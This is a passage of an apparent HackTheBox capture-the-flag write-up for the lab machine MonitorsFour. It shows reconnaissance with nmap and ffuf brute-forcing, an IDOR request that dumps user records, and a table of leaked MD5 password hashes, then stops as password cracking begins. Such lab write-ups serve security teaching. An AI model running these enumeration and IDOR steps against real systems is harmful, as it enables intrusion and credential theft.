HackTheBox: MonitorsFour - Full Writeup

Box Information

Property Value
Name MonitorsFour
OS Windows (with Docker)
Difficulty Easy
Key Techniques API IDOR, Credential Spraying, Cacti RCE, Docker Escape

Executive Summary

MonitorsFour is a Windows machine running a web application with an insecure API endpoint that leaks user credentials via an Insecure Direct Object Reference (IDOR) vulnerability. After cracking MD5 password hashes and performing credential spraying, we gain access to a Cacti network monitoring instance on a subdomain. Exploiting CVE-2025-24367 in Cacti 1.2.28 provides a reverse shell inside a Docker container. The container has network access to an exposed Docker API on the Windows host, which we exploit via CVE-2025-9074 to achieve full system compromise.


Reconnaissance

Initial Port Scan

nmap -sC -sV -oA nmap/monitorsfour 10.10.11.xxx

The scan reveals standard web services. Add the hostname to /etc/hosts:

echo "10.10.11.xxx monitorsfour.htb" | sudo tee -a /etc/hosts

Web Directory Enumeration

Using ffuf for directory brute-forcing with a medium-sized wordlist:

ffuf -t 400 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt \
     -u http://monitorsfour.htb/FUZZ -ac

Key Finding: /user endpoint discovered, returning JSON data.

Subdomain Enumeration

Virtual host enumeration to discover additional attack surface:

ffuf -t 400 -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt \
     -u http://monitorsfour.htb \
     -H "Host: FUZZ.monitorsfour.htb" -ac

Key Finding: cacti.monitorsfour.htb subdomain discovered.

Add to hosts file:

echo "10.10.11.xxx cacti.monitorsfour.htb" | sudo tee -a /etc/hosts

Vulnerability Assessment

API IDOR Vulnerability

The /user endpoint accepts a token parameter that appears to be a sequential user ID. Testing with token=0 returns all users in the database:

curl -s "http://monitorsfour.htb/user?token=0" | jq

Leaked Credentials:

Username MD5 Hash Full Name
admin 56b32eb43e6f15395f6c46c1c9e1cd36 (Admin)
mwatson 69196959c16b26ef00b77d82cf6eb169 Marcus Watson
janderson 2a22dcf99190c322d974c8df5ba3256b J. Anderson
dthompson 8d4a7e7fd08555133e056d9aacb1e519 D. Thompson

Vulnerability Details:

  • Type: Insecure Direct Object Reference (IDOR)
  • Impact: Complete user database enumeration including password hashes
  • Root Cause: No authorization check on the token parameter; value of 0 bypasses user-specific filtering

Exploitation

Phase 1: Password Cracking

The leaked hashes are unsalted MD5, making them trivial to crack with a wordlist attack: